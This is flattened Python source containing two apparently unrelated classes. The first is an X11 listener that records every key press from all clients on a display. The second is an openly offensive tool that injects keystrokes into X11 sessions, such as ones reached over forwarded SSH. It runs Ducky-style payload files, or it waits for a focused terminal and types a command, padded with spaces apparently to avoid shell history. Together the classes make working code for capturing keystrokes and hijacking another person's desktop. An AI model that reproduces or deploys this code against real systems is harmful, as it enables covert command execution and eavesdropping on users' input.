class PyKeyboardEvent(PyKeyboardEventMeta): """ The PyKeyboardEvent implementation for X11 systems (mostly linux). This allows one to listen for keyboard input. """ def __init__(self, display=None): PyKeyboardEventMeta.__init__(self) self.display = Display(display) self.display2 = Display(display) self.ctx = self.display2.record_create_context( 0, [record.AllClients], [{ 'core_requests': (0, 0), 'core_replies': (0, 0), 'ext_requests': (0, 0, 0, 0), 'ext_replies': (0, 0, 0, 0), 'delivered_events': (0, 0), 'device_events': (X.KeyPress, X.KeyRelease), 'errors': (0, 0), 'client_started': False, 'client_died': False, }]) self.shift_state = 0 # 0 is off, 1 is on self.alt_state = 0 # 0 is off, 2 is on self.mod_keycodes = self.get_mod_keycodes() def run(self): """Begin listening for keyboard input events.""" self.state = True if self.capture: self.display2.screen().root.grab_keyboard(True, X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime) self.display2.record_enable_context(self.ctx, self.handler) self.display2.record_free_context(self.ctx) def stop(self): """Stop listening for keyboard input events.""" self.state = False self.display.record_disable_context(self.ctx) self.display.ungrab_keyboard(X.CurrentTime) self.display.flush() self.display2.record_disable_context(self.ctx) self.display2.ungrab_keyboard(X.CurrentTime) self.display2.flush() def handler(self, reply): """Upper level handler of keyboard events.""" data = reply.data while len(data): event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None) if event.type == X.KeyPress: if self.escape_code(event): # Quit if this returns True self.stop() else: self._key_press(event.detail) elif event.type == X.KeyRelease: self._key_release(event.detail) else: print('WTF: {0}'.format(event.type)) def _key_press(self, keycode): """A key has been pressed, do stuff.""" #Alter modification states if keycode in self.mod_keycodes['Shift'] or keycode in self.mod_keycodes['Lock']: self.toggle_shift_state() elif keycode in self.mod_keycodes['Alt']: self.toggle_alt_state() else: self.key_press(keycode) def _key_release(self, keycode): """A key has been released, do stuff.""" #Alter modification states if keycode in self.mod_keycodes['Shift']: self.toggle_shift_state() elif keycode in self.mod_keycodes['Alt']: self.toggle_alt_state() else: self.key_release(keycode) def escape_code(self, event): if event.detail == self.lookup_character_value('Escape'): return True return False def lookup_char_from_keycode(self, keycode): keysym =self.display.keycode_to_keysym(keycode, self.shift_state + self.alt_state) if keysym: char = self.display.lookup_string(keysym) return char else: return None def get_mod_keycodes(self): """ Detects keycodes for modifiers and parses them into a dictionary for easy access. """ modifier_mapping = self.display.get_modifier_mapping() modifier_dict = {} nti = [('Shift', X.ShiftMapIndex), ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex), ('Alt', X.Mod1MapIndex), ('Mod2', X.Mod2MapIndex), ('Mod3', X.Mod3MapIndex), ('Mod4', X.Mod4MapIndex), ('Mod5', X.Mod5MapIndex), ('Lock', X.LockMapIndex)] for n, i in nti: modifier_dict[n] = list(modifier_mapping[i]) return modifier_dict def lookup_character_value(self, character): """ Looks up the keysym for the character then returns the keycode mapping for that keysym. """ ch_keysym = string_to_keysym(character) if ch_keysym == 0: ch_keysym = string_to_keysym(special_X_keysyms[character]) return self.display.keysym_to_keycode(ch_keysym) def toggle_shift_state(self): '''Does toggling for the shift state.''' if self.shift_state == 0: self.shift_state = 1 elif self.shift_state == 1: self.shift_state = 0 else: return False return True def toggle_alt_state(self): '''Does toggling for the alt state.''' if self.alt_state == 0: self.alt_state = 2 elif self.alt_state == 2: self.alt_state = 0 else: return False return True
class VBG(object): def __init__(self): self.display = Display() self.term_windows = [] self.term_strings = ("xterm") self.cmd = " " * 5 + ";{};exit;".format("echo w00t w00t") self.default_delay = 0.05 self.control_key_map = { "ESC": XK.XK_Escape, "ALT": XK.XK_Alt_L, "WINDOWS": XK.XK_Super_L, "ENTER": XK.XK_Return, "CONTROL": XK.XK_Control_L, "DOLLAR": XK.XK_dollar, "SHIFT": XK.XK_Shift_L, "F2": XK.XK_F2 } self.map = {} for keysym in range(0, 65535): symbol = self.display.lookup_string(keysym) if symbol != None: self.map[symbol] = keysym if args.mode == "cmd": if not "XTEST" in self.display.list_extensions(): print( "[E] - XTEST Extension Not Supported. Maybe Connect With `ssh -Y`.", file=sys.stderr) sys.exit(2) elif not args.passive and args.payload: self.injectWMCmd(args.payload) sys.exit(0) elif not args.passive: wm = self.detectEnvironment() if wm: payloads = glob.glob("payloads/{}_payload*".format( wm.split()[0].lower())) if not payloads: print("[E] No Suitable Payload Found.") sys.exit(1) for wm_payload in payloads: self.injectWMCmd(wm_payload) sys.exit(0) else: print("[-] - Falling Back to Passive Mode.") print("[+] - Trying Passive Mode.") self.findTerms(self.display, self.display.screen().root) self.waitFocusAndInjectCmd(self.term_strings) else: print("[E] - Unsupported Mode.") sys.exit(1) def detectEnvironment(self): print("[+] - Detecting Window Manager.") cmd = "wmctrl -m" output = subprocess.check_output(cmd.split()).splitlines() wm = output[0].decode("ascii").split(" ", maxsplit=1)[1] if not wm: print( "[-] - Could Not Detect Environment. Check if wmctrl is Installed." ) return None wm = wm.strip() print("[+] - Window Manager {} Detected.".format(wm.strip())) return wm def injectWMCmd(self, payload_file): print("[+] - Running Payload from File {}.".format(payload_file)) f = open(payload_file, "r") payload = self.parseDuck(f) for p in payload: if type(p) == float: time.sleep(p) continue bytes_payload = " ".join([str(x) for x in p]).encode("ascii") proc = subprocess.Popen(["./write_cmd"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(proc.communicate(input=bytes_payload)[0].decode("ascii")) time.sleep(self.default_delay) #os.system("./write_cmd '{}'".format(self.cmd)) def mapKey(self, key): if key in self.control_key_map: return self.control_key_map[key] keysym = XK.string_to_keysym(key) if keysym != 0: return keysym return self.map.get(key, None) def parseDuck(self, script): payload = [] for line in script: line = line.strip("\n") split_line = line.split(" ", maxsplit=1) instr = split_line[0] if instr == "STRING": arg = split_line[1] keycodes = [] for ch in arg: keysym = self.mapKey(ch) if not keysym: print( "[E] - Parse Error. Character \"{}\" has no Valid Keysym." .format(ch)) sys.exit(1) #print("{} -> kc:{} ksym:{}".format(ch, self.display.keysym_to_keycode(keysym), keysym)) keycodes.append(self.display.keysym_to_keycode(keysym)) keycodes.append(self.display.keysym_to_keycode(keysym)) payload.append(keycodes) elif "-" in instr: keycodes = [] key = instr.split("-") if len(key) != 2: print( "[E] - Parse Error. \"{}\" Composition Length is Unsupported (max 2 keys)." .format(instr)) sys.exit(1) keycode1, keycode2 = tuple( map(self.display.keysym_to_keycode, map(self.mapKey, key))) if keycode1 and keycode2: keycodes.append(keycode1) keycodes.append(keycode2) keycodes.append(keycode2) keycodes.append(keycode1) else: print("[E] - Parse Error. \"{}\" Unsupported Composition.". format(instr)) sys.exit(1) payload.append(keycodes) elif instr in self.control_key_map: keycode = self.display.keysym_to_keycode( self.control_key_map[instr]) payload.append([keycode]) elif instr == "REM": continue elif instr == "DELAY": arg = split_line[1] try: delay = float(arg) except: print("[E] - Parse Error. \"{}\" is not a Valid Delay.". format(arg)) sys.exit(1) payload.append(delay) elif instr == "REPEAT": arg = split_line[1] try: repetitions = int(arg) except: print( "[E] - Parse Error. \"{}\" is not a Valid Number of Repetitions." .format(arg)) sys.exit(1) payload.append(payload[-1] * repetitions) else: print( "[E] - Parse Error. \"{}\" is not a Supported Instruction." .format(instr)) sys.exit(1) return payload def findTerms(self, display, window): children = window.query_tree().children win_class = window.get_wm_class() win_name = window.get_wm_name() if win_class != None and win_class[0] in "".join(self.term_strings): #if "root@" in win_name: self.term_windows.append(window) for w in children: self.findTerms(self.display, w) def waitFocusAndInjectCmd(self, term_strings): print("[+] - Waiting Focus on a Terminal Window...") while True: focused_window = self.display.get_input_focus().focus focused_window_name = focused_window.get_wm_name() focused_window_class = focused_window.get_wm_class() if focused_window_class == None: continue if focused_window_class[0] in "".join(term_strings): if re.match("[a-zA-Z]+[a-zA-Z0-9]*", focused_window_name): os.system("./write_cmd '{}'".format(self.cmd)) break time.sleep(self.default_delay)